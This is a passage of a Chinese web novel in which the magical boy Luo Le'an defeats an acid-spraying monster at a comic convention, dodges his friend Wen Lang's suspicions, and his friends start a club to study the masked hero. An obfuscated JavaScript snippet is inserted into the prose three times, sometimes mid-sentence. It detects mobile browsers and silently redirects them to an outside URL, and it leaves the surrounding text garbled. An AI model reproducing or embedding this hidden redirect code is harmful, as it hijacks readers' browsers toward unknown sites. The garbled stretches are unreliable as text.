攻击的确奏效了,但是效率极低,三次下来吸收到的能量大概也就能释放一个给虚海歌疗伤的治愈光球。 然而情况的恶化速度,却是远超他的消灭进度。 因为谵蘖一刻不停地勤奋喷射腐蚀液,罗乐安能够落脚的安全区越来越少,可他又不敢退的太远,生怕谵蘖因为找不到他,而把攻击目标转向那三个手无缚鸡之力的女生。 实在不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357476|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 他抬头看向展厅顶部装灯的金属横梁,开始计算走空路的可行性。 也不知道这些杆杆这么细,他能不能准确安全落脚,要是一脚踏空,啧啧,那可就悲剧了。 对了,还有承重问题也要考虑,射着射着箭掉下来,结局一样是扑街。 于是罗乐安一边右手举箭瞄准,一边在脑袋里思考接下来的计划,却没想到就在冰冻箭即将扔出去的时候,又有新的“客人”抵达战场了。 “乐乐——小葵——” “诶诶诶,温朗你慢点,等等我!” “这个声音……是老哥?哥哥——我在这儿……不对,不对不对!哥!你先别过来!!这里有危险!!!” “对呀对呀!温朗你放心,也别着急,小葵现在跟我在一起呢,我们很安全……至少现在很安全!千万别过来啊!!!” …… 乱作一团的声音成功吸引了罗乐安的注意力,他的余光看到距离自己越来越近的温朗和熊哲,心下一惊,右手下意识松开了按键,于是蓝色箭矢破空而出。 然后,成功射偏了。 冰冻箭在谵蘖身边炸开,冻住了地上那摊腐蚀液。 同时也惹恼了谵蘖。 黄色的粘稠液体像是不要钱一样地可劲儿往外洒,任穗和温霁那边有护盾撑着,倒还没什么事,可毫无所知的温朗,这个时候已经暴露在了腐蚀液的攻击范围内了! 眼看对方就要成为“液下亡魂”,罗乐安当机立断,也顾不上自己的安危,径直冲了过去,在腐蚀液即将飞溅到温朗身上之时,成功将人拦截在了安全区。 而他们两个人也因为惯性的缘故,狠狠地摔进了摊位里。 罗乐安被各种本子和谷子硌得后背生疼,想必温朗的体验也好不到哪儿去,但就算真的因此受伤,也比被腐蚀了皮肉要强。 只是庆幸过后,燃起的是无尽的怒火。 “你冲过来干什么!很危险不知道吗?!你不是学霸吗?难道听不出来刚刚的广播其实有不少bug吗?知道有问题还过来——你以为你是猫吗?你没有九条命知不知道啊!” 倒地的温朗和站在一旁刚赶到的熊哲,被骂得一愣一愣的。 “我……” “我什么我!你想反驳我吗?对对对,我刚刚说错了,你不是猫,你是猪啊!!!” “……” 一个字换来一句骂,温朗学聪明了,不再开口,只是怔怔地抬起手,想要触碰罗乐安脸上的假面。 “乐……” 这个举动吓得后者一激灵,连忙从温朗身上撤离。 “还乐!刚刚差点见阎王了你还乐!待那儿不许动,少给我添乱!” 说罢,他重新跳回到舞台前,凌空一记冰冻箭发了出去。 这次准星没再偏,稳稳落在了谵蘖身上,不仅如此,大概是因为刚刚差点掉马,他的心脏砰砰直跳,也导致了他这一箭杀气非常足,冰冻的范围都要比之前大上不少。 可惜,当他用剑劈过去之后,得到的能量并没有增加多少。 “这样不行,太慢了,万一出什么变故可就糟了!丧丧,你到底想出办法了没啊?!” 「攻击不能盲目,要先找到它的弱点。」 “弱点弱点,弱点要是真那么好找,我还至于在这里兜圈子吗?” 罗乐安的声音因为焦虑,甚至有些破音。 他倒不是害怕,而是担心——温朗都已经找来了,那估计还会有更多疑心病加中二病晚期的“患者”即将抵达,要是不能在他们到达前解决掉谵蘖…… 苍天啊! 那后果——真的很可能满地都是“亲娘”啊!!! 而就在罗乐安暴躁地又想来一发炸弹箭跟谵蘖同归于尽的时候,一个沉稳冷静又熟悉的声音,从他侧面传来。 “我知道这个怪物的弱点。” 41. HYDRANGEA⑨ “你知道……弱点?” 罗乐安停下奔忙的脚步,趁着谵蘖CD的时间,扭过头看向不知何时站起来的温朗。 后者听到他的话,淡定地点点头,周身上下环绕的不仅是自信,而是——笃定。 “对。我刚刚观察了一下,这个怪物喷射的液体几乎已经连成一片了,却只有一个地方是‘真空地带’,就算有不小心飞溅过去的液体,也是孤立的,并没有和其他的液体汇合。怪物的攻击手段偏向群攻无差别,却唯独留了一块不去沾染,我想那里一定有他忌惮的东西。” 听到他的话,罗乐安眨了下眼睛,跳到空中用手勾住灯架,仔细打量场上的情况,很快就发现了温朗所说的真空带。 就在谵蘖后方不远处,挨着被摧毁的屏幕和操作台的地方,除了乱七八糟堆着的各种电线,倒的确干干净净的,一丁点那些恶心的黄色液体都没有看到。 “这些液体和怪物是紧紧相连的,考虑到这一点,我猜想,它大概是怕电流的。” 罗乐安低头看温朗,明明对方的用词是“猜想”“大概”,可语气里却不见丝毫的犹豫,一看就是经过深思熟虑得出的结论。 信学霸,得永生。 先试试再说吧,反正情况也不会比现在更糟了。 想到这儿,他也没再犹豫,撂下一句“我试试”后就果断松开手,在空中给再次准备发动攻击的谵蘖又一记冰冻箭。 确认命中,他直接落在了电线所在的真空区。 “丧丧。” 听到罗乐安的招呼,丧丧马上就明白了他的需求,两团小小的蓝光自胸前的手柄飘出,落到他的手上,一双“魔法绝缘手套”就搞定了。 “放到这个位置,应该可以吧?” 捋出几个还完好的插排后,他将所有电路开关都打开,然后放到距离谵蘖最近的、与其相连的腐蚀液冰面上,转头跟温朗确认。 得到对方的点头后,他跳回到谵蘖面前,右手切换成剑,并将“绝缘手套”合到一起,并拉长,套在了剑上。 没戳! 虽然他经常翻墙逃课打游戏,但依旧是不玩火不玩电的安全标兵。 “嗬!” 一切准备就绪后,罗乐安提剑一个纵跳劈砍,接着就娴熟地转身闪躲,落到了外围的安全区。 “起效了。” “真、真的诶,那个怪物,帕金森了诶!” 脚刚落地,他就听到一旁温朗和熊哲说相声一样的对话,连忙转头,就见谵蘖果真如得了帕金森一般不停颤抖着,一边抖,一边往外疯狂吐红雾。 爆金币了! 罗乐安长舒一口气。 跳来跳去这么久,他终于能歇一歇,享受胜利的果实了。 然而,战斗的过程哪有一帆风顺的呢? 就在他伸个懒腰,想要问丧丧还需要多少能量才能净化的时候,谵蘖的抖动幅度骤然加剧,同时不要命地往外喷射腐蚀液,并且还不是对准他,而是对准了之前的真空区,也就是那些电线所在的位置。 一边拼命噗噗噗,一边疯狂抖抖抖。 “天、天啊!” 尖叫声从护盾那边传出,是任穗和温霁,正一人抱着虚海歌一只胳膊,瑟瑟发抖。 “它它它……它是不是疯了啊?!打、打不过就自杀?” 尽管这个结论似乎代表着她们几个安全了,可瞧着怪物这副模样,生理性的恐惧就像本能一样,刺激着她们起了一身鸡皮疙瘩。 罗乐安倒是没想得那么美,好歹也积累了几次经验,他预感到这大概又是一次“半血开大”,一跃又回到半空,用手勾住灯架。 谵蘖暴走他不陌生,只是这种不针对他反倒拼命自残的暴走方式,他的确一时想不透为什么。 直到温朗点出了问题。 “那些电线和插排……好像不对劲!” 听到他的提示,罗乐安转了视线,一个呼吸过后,他明白了。 要是通电的设备真的都因为腐蚀而被毁掉,那谵蘖的最大威胁,好像确实……就没了。 绝对不行! 好在谵蘖的自虐行为并不影响客观存在的能量溢出,还是依旧有源源不断的红雾从其身上飘出。 就算能量达不到发动净化魔法的标准,应该也能拿出其他可用的东西。 比如—— “丧丧,既然‘火’和‘冰’都有了,那也应该有‘电’吧?” 丧丧没有回话,只是胸针闪了闪,一团饱和度偏高的黄色光团从中飘出,落到了罗乐安垂下的右手上。 “我靠!我就说那广播有问题吧!” “我滴个乖乖……到底是谁把场馆破坏成这样的啊!” “那些黄色的东西是啥啊?看着怪恶心的。” “要不我们凑近点看看呢?” “不要吧……” “没事儿!你看这儿安安静静的,就算真有危机,肯定也已经解决了~” …… 现在这里最大的危机就是你! 是你们!!! 听到身后传来的动静,罗乐安右手一甩,手上的黄色箭矢就变成了蓝色的。 之后他没有丝毫犹豫,空中转体,右手高举,将冰冻箭投向那几个不知死活想来一探究竟的病患。 由于他的位置够高,因此即便是徒手投掷,箭的落点依旧够远,并且极准。 一大片冰刺在那几人身前炸开,吓得他们直接定在原地,短时间内没有作死的想法了。 罗乐安松了口气,却在下一秒听到了任穗几人的尖叫,转身一看,就见谵蘖已经彻底坏掉了电线插排,不再大幅度地颤抖,只是一心喷射腐蚀液。 而护盾此时也终于要撑不住了,开始闪烁起来。 快要来不及了! 在开始颤抖破音的尖叫声中,罗乐安顾不上什么惊喜测量了,右手一挥,一道黄色的流光划过,闪电箭落到了谵蘖的——身前。 好在那里有一滩与之相连的腐蚀液,箭矢里的闪电之力还是成功落在了谵蘖身上。 这箭的威力要远比几个插排厉害得多,可以说是平地起惊雷,刚得以翻身的谵蘖,再次在电闪雷光之中,抽搐了起来。 同时不忘初心,还在坚持喷洒腐蚀液。 不过这种坚持只持续了大概五秒钟,原本还保持直立的谵蘖终于不堪电击之苦,在四处弥漫的红雾中倒下了。 而一直在保护着几个女生的护盾,与此同时也彻底消失了。 但是空中还有飞溅的腐蚀液,在失去了护盾的阻隔后,非常有目的性地朝着任穗几人飞去。 “啊——” “哥、哥哥!” 听着她们害怕的尖叫声,罗乐安心急如焚,当即也不管能不能成功,径直把右手上的手柄大力丢了过去。 “盾——” 伴随着能量从右手抽离出去,半空中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370647|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 右手柄发出蓝色光芒,在腐蚀液即将击中将任穗和温霁护在身下的虚海歌的危急时刻,成功幻化出了一面蓝色的盾牌。 尽管盾牌的视觉效果有点扭曲,抽抽巴巴的,有一种“第一次做盾牌”的扭捏感,但却并不妨碍它的保护效果。 腐蚀液成功被挡住,同时还受到了力的反作用,一部分液体被反射到罗乐安面前,后者此时也手无寸铁,只好将斗篷翻过来,物理阻挡。 好在飞来的液体不多,除了斗篷上多了几个洞洞之外,没有一个魔法少男受伤。 就是多少,有点狼狈。 也因此,在罗乐安落到任穗几人的圈子里后,听到了对方“这种躲法,真是好接地气的魔法少女啊”的评价。 这让捡手柄的人,没忍住翻了个大白眼。 可现在他也没什么心思反驳了,胸口的变身器终于发出了能量充盈的蓝光,为了避免夜长梦多,他还是要在谵蘖爆发残血大招之前,将其净化。 “L-R同步!域外之物,消散!” 【我诅咒你……一辈子深陷泥潭……】 【我诅咒你……没有人能够拯救我……】 【我诅咒你……】 眼看着还不死心还想要挣扎的谵蘖,以及地面上那些还残存的腐蚀液,在蓝色光球中一点一点消散,直至最后完全消失,罗乐安一直提在胸前的那口气,终于吐了出来。 这次的谵蘖破坏力其实真的有限,毕竟现场最惨的就是舞台附近坑坑洼洼的地面和那面LED屏,和之前学校里那个跟地震灾后现场的可怜操场相比,甚至可以用“还算整洁”来形容。 但这却是他打过的最压抑和提心吊胆的一场仗了。 因为对方不仅有任穗、温霁和虚海歌三位“人质”,还有代表着不确定倒计时的“未来の人质”,们,而这也导致他一直处在极为紧张的被动状态,所以在彻底结束战斗后,他感觉比以往都要累,身心俱疲。 然而现在还没到他可以真正放松的时候,他看着外围涌进来的越来越多的人,还想着趁此机会,给自己正式正个名。 “小葵!” “老——哥——” “没受伤吧?” “呜呜,没有,穗穗和偶像一直在保护我。” 分散的兄妹重聚相拥,本应是极为温情的画面,可惜除了一开始那两句问候足够亲切,很快就转了画风。 “乐乐呢?你们看见了吗?” “没……我过来的时候正好那个怪物刚出现,穗穗带着我躲了一下,之后人就都跑得差不多了,要不是因为我太害怕腿软,也不会……” “知道会给别人添麻烦,下次就别再搞这些小动作,不然我饶不了你!你跟任穗和熊哲先出去,我去找乐乐。” “乐乐乐乐,你每次对大乐都那么温柔,对我就这么凶!你果然不是亲生的!!!” “……” 罗乐安刚把谵蘖消灭后遗留下来的非常之迷你、要不是闪着亮光自己根本发现不了的绣球花种子捡起来,就听到了这番“兄不友妹不恭”的逆天言论。 说的他就像个祸国殃民的妖妃似的。 他后悔了。 他就应该马上撤,这样也不会被虚空塞进修罗场。 要不正名什么的,还是等下次吧。 只是就在他起跳准备退场的时候,温朗突然转头,目光直直锁定在了他身上。 盯得他后背寒毛竖起。 42. HYDRANGEA⑩ 发现温朗在看着自己后,罗乐安的第一反应,就是想要逃跑。 只是身体还在疲软期,反应速度直线下降,难得出现了行动跟不上脑子的现象。 然后,他就被对方抢先了。 “你好。” 罗乐安瞧着温朗径直朝自己走过来,后背一下子就挺直了,同时因为害怕暴露,整个人变得极为高冷。 “嗯。” “第二次了,谢谢你又救了我……我们。” “……嗯。” “请问,你有没有瞧见一个男生,个子不算太高,娃娃脸,栗色头发。” “额……” “对了,他跟你一样,也有两根呆毛……” “没看见!” 越听越心虚,越听,越觉得温朗好像是知道了点啥,罗乐安也顾不上反应突变会不会引来对方更大的怀疑了,满脑子只想赶快逃离这里。 “我还有其他任务,先走一步,再见!” 说罢,他就猛一跺脚起跳,在温霁带着遗憾的遥望下,飞速逃离,呸,退场。 他想明白了。 想要好好传播自己“L-RAether”的正确名字,以及展示他苦思夜想了许久的slogen,一定要挑一个温朗不在场的时间。 等到他找到没人的卫生间“一键换肤”,伪装成一无所知的模样和其他小伙伴汇合,已经是半个小时之后的事了。 展馆对面的KFC内。 由于漫展提前关闭,导致这里聚集了比平时更多的人,很多人都只能站着,却也并没有因此而市区讨论的兴致。 整个空间里嘈嘈杂杂,但在一个拐角后面的两张桌子,却十分消停地坐着几个人。 “……我担心会发生踩踏事件嘛,所以就顺着人流走了,然后又听到广播说可以免费领奶茶,我就第一时间冲过去了。可惜只能凭票领取,不然我肯定也给你们几个带。” 罗乐安一边解释自己刚刚的去向,一边将半杯奶绿放到桌上。 这杯奶茶,当——然不是在漫展的摊位上买的。 那里已经人满为患,想要搞到“伪证”,少说也要等个三四十分钟。 可当时他给温朗的解释电话已经打完了,从电话那头的声音里,他听到了庆幸后的一丝丝怀疑,因此为了将魔法少男的马甲彻底和自己分离干净,原本不必须的物证也变成了必需品。 实在没办法,他只能咬咬牙,找丧丧开启了那个自己曾经号称再也不用的坑爹功能,疯狂跑酷,最后在距离展馆两公里的地方,买到了同品牌的奶茶。 然后将标签蹭糊,再一路跑酷回来。 刚刚跟谵蘖战斗的时候都没这么累过。 “那你就不能先给我个消息吗?你知不知道我有多担心你!” 温朗的语气严肃,甚至是有些过重了,却还是贴心地帮罗乐安打开汉堡包装,递到面前,又拿了一个蛋挞和一杯圣代放到对方手边。 “喔嘎嘎债电发尼不素缩了咩?” 罗乐安也是饿坏了,接过汉堡就先啃了一大口,等嘴里的食物好不容易咽下去,安抚了闹腾的胃之后,他才继续刚刚未说完的话。 “我一开始有点慌,就给忘了。想起来之后又碰上免费奶茶的事儿,我着急排队买奶茶,就又给忘了。最后等我买完奶茶……” 任穗举着薯条插话:“又又忘了?” “这次没忘,”罗乐安噘着嘴,表情有些不忿,“但是没网——人太多了,信号超级差,我一直走到展馆外面,都快过马路了才有信号,然后我就第一时间联系你们了嘛~” 说完,他调整了一下情绪,呆毛转啊转,眼睛眨啊眨,露出恰到好处的兴奋和好奇。 “我听好多人议论纷纷的,说场馆里面出现怪物,把舞台附近搞得一团糟,真的假的啊?你们有人看到吗?” “是真的。” 回答他的是温霁。 小姑娘放下儿童套餐里的玩具,眼睛眉毛和嘴巴努力拉平,一副故作深沉的模样。 “我们不仅看见了,我们,甚至都还是亲历者。” “啊?” 罗乐安适时地张大嘴巴,“什么怪物啊?你们又是怎么逃出来的啊?” “当然是有人救我们啦~魔法少女哦~” 任穗举着鸡翅再次插话。 而罗乐安也继续职业级装傻。 “魔法少女?coser?” “什么coser啊,是真的!真的魔法少女——就是之前新闻报道过的那个手柄侠啊,已经救过我们好几次了!你没印象了吗?” 这个时候再装傻那就有点假了,因此罗乐安从善如流地点点头,就是嘴角的笑容因为“手柄侠”这个称呼而变得僵硬无比。 “我知道这个神秘人……可也从来没正面打过交道,自然也不存在什么印象不印象的了。” 说罢,他停顿了一下,努力让自己接下来的声音不会出现太明显的得意情绪。 “那,他是怎么救你们的呀?” “这个实在是很难一两句话说清楚——干脆来看视频吧~” “视、视频?!你怎么会有视频?” 罗乐安瞪圆了眼睛,任穗却只当他是在佩服自己的机智,尾巴都要翘到天上去了。 “哎呀,因为我聪明呗~先不说这个了,小月,我这边先挂了,你给乐乐打过来吧~” “嗯?嗯?” 任穗的话让罗乐安更懵了,也是这个时候,他才发现对方竟然一直在跟常映月保持着视频通话。 然后下一秒,自己的手机就震了起来,是常映月发来的视频邀请。 “……我当时虽然害怕,可还是觉得这种近距离观摩魔法少女战斗的场面,真的是太难得了,实在是不想让小月错过,所以就给她打了视频…… “当然这还不是我最聪明的,关键就是我这个录屏的动作——幸好我这是刚换的手机,还撑得住——你就说吧,我是不是特别英明神武?我是不是特别英明果断?我是不是特别英明睿智?我是不是特别英明……” 在任穗絮絮叨叨的“胡女士附身”模式下,罗乐安看完了视频,心情宛如过山车。 一开始提心吊胆,生怕视频里能看出魔法使是他,但是在看了两分钟后,他就彻底放心了,甚至还可以安心吃汉堡。 尽管某个人把自己夸得宛如关公在世无所畏惧,但视频中晃动得跟地震来了一样的模糊画面,还是暴露了她就是个“怂包”的事实。 “你这视频……” “怎么样怎么样?” “凛酱看的时候没吐吗?” 「其实有点恶心,不过因为更担心你们,所以当时还好。」 “小月……果然你才是最爱我哒~” “行了行了,”吃完了汉堡的罗乐安开始挖圣代,“你俩回家再腻歪吧,我跟阿朗还有小葵吃完也要回去了。” “哎呀呀!你忙什么嘛~老罗你今天好奇怪哦,怎么遇到这种破次元的事情,你一点都不激动呢?” “是啊是啊大乐,我怎么感觉你突然变得沧桑了呢?” “……” 因为他所有的激动,都早在战斗的时候消耗掉了啊! 罗乐安在心里小声蛐蛐,可面上还是要找个理由搪塞过去。 “因为……毕竟我没亲眼看到嘛……” 他吃完圣代开始喝可乐,声音咕咕唧唧的。 “你的视频水平连后期加工的空间都没有,可信度实在是不高。” “但你就算不信我,也得相信温朗吧?” “对啊对啊!我老哥也看到了,还跟那个魔法少女说话,帮了她的忙呢!” “真嘟假嘟?” 听到这话,罗乐安再次换上装傻的表情,就是一面对温朗,他还是不由自主地会感觉紧张。 老感觉自己的马甲在对方面前总是摇摇欲坠的。 温朗在听到话题cue到自己后,抬起头深深看了罗乐安一眼,之后将手里的汉堡包装揉成一团,点了点头。 “嗯,任穗说的是真的。” “那、那你也相信这个世界上真的有魔法吗?” “……一直都相信。” 嗬。 罗乐安被这个答案惊到了,狠狠吸了口气。 看来他还是对自己这个竹马了解不够。 原来对方,竟然是这么资深的二次元吗? “但是我不信。” 一个声音突然插入了几人的聊天,是抱着两个全家桶回来的熊哲。 “真是要了命了,人怎么这么多!两个全家桶而已让我等了这么久——还好等的时候我吃了俩鸡肉卷,不然说不定得低血糖。诶,你们都吃完了?我这儿富余,要不要再吃点?” “不用,你慢慢吃。” “唔,不用管我,我再吃两个蛋挞就够了。” “熊熊哥,我想吃土豆泥~” “没问题,玉米棒要吗?这玩意儿太素了我不喜欢。” “那给我来一个吧。” “行,再附赠你一个原味鸡,老罗啊,你得多吃肉才能长个儿啊。” …… 眼看随着熊哲的加入,话题越来越偏,任穗连忙冲出打断。 “等等等等等等……分配食物的事儿先放一放,你刚刚说什么?你不相信?” “对啊。” 熊哲两口吞掉半个汉堡,又灌了半杯可乐,这才回答任穗的话。 “我才不信那是魔法呢,世界上就不存在什么怪兽魔法,肯定是拍特摄片。” “呵……” 任穗闻言,气笑了,“你又不是没看到那些飞来飞去的光,你家特摄片现场加特效啊?而且什么特摄片这么大手笔啊,先是砸商场,又是掀操场,现在又把展馆搞成月球表面,光那些LED屏你知道多少钱吗?谁家特摄这么个拍法啊?钱多烧的啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384374|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她的话如机关枪扫射一般,“嘟嘟嘟”扫得熊哲哑口无言。 而这还不算完,说完了反驳的部分,她又开始发表自己的论点。 “同志们啊!我是很严肃地在跟你们说这个问题,你们不觉得最近不大太平吗?从商场,到海边;从学校,到漫展。这都多少次了?而这还只是发生在我们身边的,在我们看不见的地方,谁知道已经出现过多少怪物了?你们真的觉得刚刚漫展那个‘酸雨喷头’是凭我们普通人就能搞定的吗?肯定没戏啊,只能是白白送人头!” “所以?” 温霁和熊哲异口同声地问道。 这俩人一个是听进去了,一个是被说懵了,总之,非常配合任穗的节奏。 “所以,我可以断定,一定是世界出现了危机,然后天选之子横空出世,变身成为魔法少女,拯!救!世!界!” 说到最后,任穗一条腿踏上了椅子,右手举着可乐杯,像是举着希望的火把一样。 现场沉默了好一会儿,最后还是手机另一边的常映月先出声。 「我同意穗穗。」 “小月~~~” 听到她的话,任穗放下可乐拿起手机,热泪盈眶开始隔着屏幕“muamua”亲了起来。 “果然你才是我的真爱!” 「不过有一点,穗穗你确认那个『手柄侠』是女生吗?」 “诶?当然啦!她的打扮多少女呀,而且动漫里,不都是魔法少女的吗?” 「只是有一种其他可能性的感觉。」 眼看两个女生的猜测越来越危险,罗乐安急忙放下啃了一半的蛋挞,使用“打断”技能。 “你们先等等,我看视频里那个人的自我介绍不是叫‘L-RAether’吗?你们就这么手柄侠手柄侠的叫,多low多难听啊,也不怕那个人听到报复你们啊!” “好好好,L……L、R……哎呀,太拗口了!还是‘手柄侠’好了——而且她是魔法少女诶!是拯救世界的英雄诶!” “没戳没戳,穗穗说得对,大英雄是不会这么小心眼的~” “……” 得,被道德架那儿了,当事人还不能到场申诉。 有苦不能言的罗乐安悻悻闭上嘴巴,在心里对胡乱给人起名字的无良媒体破口大骂。 而就在他专心腹诽的时候,温朗把话题接过,并继续。 “不过我也觉得,对方应该是个男生。” “诶…——???” 这个结论,让在场除了常映月之外的所有人都震惊了,不过有人是因为内容,有人则是因为说话的人。 罗乐安当然是后者,他现在非常后悔。 早知道会引起温朗的关注,他当时打死都不会正面跟这人对上,更不会说那些话了。 只是这世上没有后悔药,而且其他人更没顾上他的死活。 “男生?那种娘兮兮的打扮怎么可能是男生!” “唉呀熊哲你死开,少整这些偏见的刻板印象——可是温朗,你为什么会觉得那个人是男生呢?对方不只是外形,声音也很像女生啊!” “对啊对啊,老哥,难不成你看过手柄侠面具下面的脸吗?” “我没看过,但是我比你们多一次近距离观摩的机会。” 撂下这句话,温朗抄起罗乐安的半杯奶绿,喝了一口,又放下。 唔,冰都化了,甜度和浓度都变淡了。 不太好喝。 他是很淡定,然而其他人则像是被空投了炸弹一样,炸开了所有人的嘴巴。 “什么什么?什么时候的事?我怎么不知道?” “老哥你也太能瞒了,真是不拿我当亲妹妹,你果然不是亲生的!” “所以……阿朗你都看出啥了啊?” “之前在海边,我比你们先醒过来,然后见过那个人。当时那人的声音要比今天低沉不少,也不知道到底哪个才是真正的嗓音。” 哪个都不是。 呼。 罗乐安稍松了口气。 “当然了,声音可以伪装,骨头却没办法。” “骨头?” “嗯,虽然斗篷是有遮挡,但是还是能大概看出对方的盆骨形状,应该是男生。” “哇塞,温朗你太厉害了吧,这也知道!” “因为我之后想学医。” “袜~可是我还是不敢相信那竟然不是魔法少女,而是魔法少男。” “哎呀~穗穗你不要这么固执嘛,要相信我哥哥~” “唔……” 任穗还是一脸纠结。 但是她很快就舒展了表情。 因为她做了一个决定。 “这样吧,既然这个人如此神秘,身上谜团重重,而我们又对ta充满好奇,那干脆成立一个研究会吧!” “研究会?” “对~手柄侠研究会,今天正式成立啦!” 43. BUCHU① “手柄侠研究会”就在这个嘈杂的中午,正式成立了。 并且不管罗乐安如何反对“手柄侠”这个名字,最后还是没能改变投票结果,只能在“三赞同一反对两弃权”的票型中含恨落败。 反对的自然是他自己,弃权的是温朗和常映月,至于赞同票里除了任穗和温霁之外的第三票,则来自于熊哲。 “你举手干嘛?” 看着身旁默默举手的傻大个,任穗瞪大眼睛向后侧了下身子。 “你不是不信吗?” “我是不信啊,所以才要加入研究会,找到那个手柄侠蓄意制造恐慌并且造假的证据!” 唔。 任穗撇撇嘴巴,对于这个热血笨蛋的贸然加入有些迟疑。 不过罗乐安并没有太过关注研究会的后续情况,因为在下午回家没多久,他的后遗症就到来了。 尽管发作得比之前那次要迟一些,可疼痛程度一点都不含糊,没有丝毫的减轻。 以至于他不仅在研究会专用群建好后一言不发,甚至连晚上温朗的生日晚餐都没参加,只能委托母亲胡女士转交给寿星准备的生日礼物。 「发烧了?」 手柄侠研究会的群通话内,任穗有些模糊失真的声音自手机里传出。 “嗯。” 温朗一边兴致不高地应声,一边用手拨弄着一个大概三十公分左右高的骷髅模型,这是罗乐安送他的今年的生日礼物。 18岁的生日礼物。 “胡阿姨说下午到家之后吐了几次,然后就发烧了,浑身酸痛,只能躺着。” 「这么惨啊?连八卦的力气都没有了吗?我原本还想跟他讨论高一那个跳远小学妹停课复健的事儿呢……只是我们几个直面惊吓的都没事儿,他这个去领免费奶茶的竟然病了——乐乐这么脆皮的吗?」 “‘我这可能是观看老穗视频的后遗症,当时就头晕,回家之后就彻底撑不住了’——以上是胡阿姨转述的乐乐的原话。” 「……他、他他污蔑我!而且哪有反射弧那么长的病啊!」 “我也觉得,而且理论上像大乐这种傻乎乎的人,都不太容易生病的。” 温霁挖着手上的抹茶茉莉柚子千层,凑到自己老哥手机前毫不客气地蛐蛐她的好盆友,“他好可怜啊,今天的蛋糕可是我哥特意在‘Coloré’定的,超贵超好吃,可惜他没这个口福。” 没有口福的罗乐安,此刻正瘫倒在床,在昏厥的边缘来回横跳。 原本直到在肯德基开完“研究会第一届大会”,他跟温家兄妹一同回了家,后遗症都没有发作的时候,他还很惊喜,激动地猛戳丧丧,想要询问是不是因为自己成长了,所以才没感觉到任何疼痛。 只是丧丧也不知道是不是在闹罢工,他折腾游戏机挂坠折腾了好久,又是抡又是扔的,可就是没等来对方的反应,更别说回复了。 但是他等来了迟来的后遗症。 幸好发作的时候胡女士不在家,他足够给自己编一个瘫痪在床的理由。 至于体温,甚至都不用他想办法伪装,浑身上下每个关节都在闹起义,足够让他身体里的白细胞激动起来了。 不过这些并不能帮他减轻痛苦,连止疼药都没办法。 罗乐安也想过干脆昏过去算了,反正等到第二天一早,他就又是生龙活虎的崽了。 可惜天不遂人愿,他虽然疼,却昏不过去,然后还睡不着,于是就只能平躺在床上,和天花板大眼瞪小眼。 听说温朗特意定了Coloré家的千层,一定灰常好吃,也不知道胡女士和温小葵今天的良心浓度够不够高,能不能给他留下一块。 想着想着,他的嘴角流出了凄婉的泪水。 而就在这时,死机了六七个小时的丧丧终于有反应了。 小巧的屏幕突然亮起,与此同时,罗乐安书桌右侧最下方的抽屉缝隙里,也发出了幽幽蓝光。 那里面放的主要是一些“违禁品”,像是游戏卡带漫画书之类的东西,除此之外,还有—— 那些谵蘖消失后,遗留在现场的种子。 算上今天的,应该已经有五颗了。 只是之前一直就是普通(以及稍大)种子的样子,怎么今天突然有反应了呢? 他心生好奇,奈何身上的痛实在是太难熬了,那点好奇心也持续了不到一秒,就被突然抽筋的小腿打得烟消云散。 甚至连好不容易活过来的丧丧,都没力气搭理。 罗乐安闭上眼,想着眼不见为净,可也不知道一向走“丧系牛马”风的丧丧,今晚怎么就那么积极,见他没反应,直接改了模式,常亮灯改呼吸灯,和抽屉里的种子一闪一闪地呼应起来。 人家是屋漏偏逢连夜雨,他是欲眠却遇长明灯。 这叫什么事儿啊! 被光晃得头都开始疼了,再加上担心胡女士突然回家,发现自己卧室的可疑灯光,罗乐安不再负隅顽抗了,身残志坚地转了下脑袋,并伸出右手,将丧丧的屏幕面向自己。 接着,就在下一秒,在看清屏幕上的内容后,他光速鲤鱼打挺从床上坐了起来。 并龇牙咧嘴,骂骂咧咧。 但罗乐安此刻根本顾不上身上的疼痛,只因为他遇到了更加棘手的问题。 【魔力传输出现扭曲bug,现需升级修复。】 扭曲? bug? 为什么会突然出现这种问题呢? 他一边喘着粗气,平复刚刚那波汹涌的疼痛,一边努力在脑袋里面思考。 然后他很快就想明白了大概。 白天的时候,他曾经放弃用弓,徒手射箭,最后更是勉强用右手柄召唤出了盾牌。 虽然运用的都是他自身的魔力,可这么久他也感觉出来了,自己魔力的运用其实并不是随心所欲的,主要还是依赖丧丧的设置,而今天他的行为相当于破坏了原有的程式,而这大概也是丧丧出问题的原因所在吧。 至于如何修正bug…… 罗乐安看向一明一灭cos萤火虫的抽屉,心里已经有了答案。 